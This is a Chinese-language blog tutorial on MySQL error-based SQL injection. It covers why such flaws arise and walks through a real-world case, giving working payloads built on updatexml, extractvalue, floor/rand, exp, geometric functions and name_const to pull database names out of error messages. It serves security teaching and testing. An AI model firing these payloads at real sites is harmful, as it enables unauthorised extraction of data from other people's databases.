MySQL报错注入

注入简介


什么是报错注入?

顾名思义,报错注入就是通过页面爆出的错误信息,构造合适的语句来获取我们想要的数据,本章节讲述的注入,数据库为MySQL

报错注入成因

那么报错注入是怎么形成的呢?

首先是应用系统未关闭数据库报错函数,对于一些SQL语句的错误,直接回显在了页面上,部分甚至直接泄露数据库名和表名;

其次,必不可少就是后台未对MySQL相应的报错函数进行过滤

引入知识


updatexml()函数。语法为

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 

第三个参数:new_value,String格式,替换查找到的符合条件的数据 

如果找不到相应的xpath路径,updatexml函数就会报出错误

concat()函数。此函数用于连接字符串;由于updatexml()函数xpath路径需要连接特殊字符,被连接的特殊字符需要进行16进制编码

concat_ws()函数。语法concat_ws(0x7e,database(),use()),会把查出来的库名和用户通过~连接起来完成报错

注入实现


在挖互联网漏洞的时候,遇到的报错注入,打开漏洞所在url,如下图

对id传参输入单引号进行测试,发行MySQL报错,并且直接爆出了表名,如下图

这个报错,已经爆出了完整语句,我们尝试对源语句进行闭合,payload:) and (1,如下图

构建报错语句,payload:) and updatexml(1,concat(0x7e,database()),1) and (1,如下图

扩展


在日常测试中,后台可能会过滤掉一些常用函数,那么有没有其他函数来替代呢?肯定是有的!

Xpath报错

updatexml()函数,用法就不在过多介绍

extractvalue()函数,payload:select * from test where id=1 and (extractvalue(1,concat(0x7e,database()));

虚拟表主键位重复报错

floor()函数,payload:select * from test where id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

fioor函数报错详细资料参考:https://www.cnblogs.com/sfriend/p/11365999.html

https://blog.csdn.net/weixin_45146120/article/details/100062786

其他待测试函数


整形溢出报错

exp()函数,整形溢出报错,注意:在MySQL5.5.5版本之后才会报错,语法:exp(~(select * from (select database())x))

几何函数报错

函数对参数要求是形如(1 2,2 2,3 3),几何数据,如果不满足则会报错,主要函数包括,可在5.6.22版本测试,我用5.5.5没测出来

语法:multipoint(select * from (select * from ( select * from (select database())c)b)a)

multipoint()函数,

geometrycollection()函数

multilinestring()函数

linestring()函数

multipolygon()函数

polygon()函数

列名重复报错

name_const(name,value)函数会用传入参数返回一系列结果集,传入参数必须是常量,经过测试只能查version(),略鸡肋

语法:select * from (select name_const(version(),1),name_const(version(),1))a;

参考

参考文章:http://www.cnblogs.com/wocalieshenmegui/p/5917967.html

参考文章:https://blog.csdn.net/Auuuuuuuu/article/details/91415165

参考书籍:《代码审计:企业级Web代码安全架构》

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值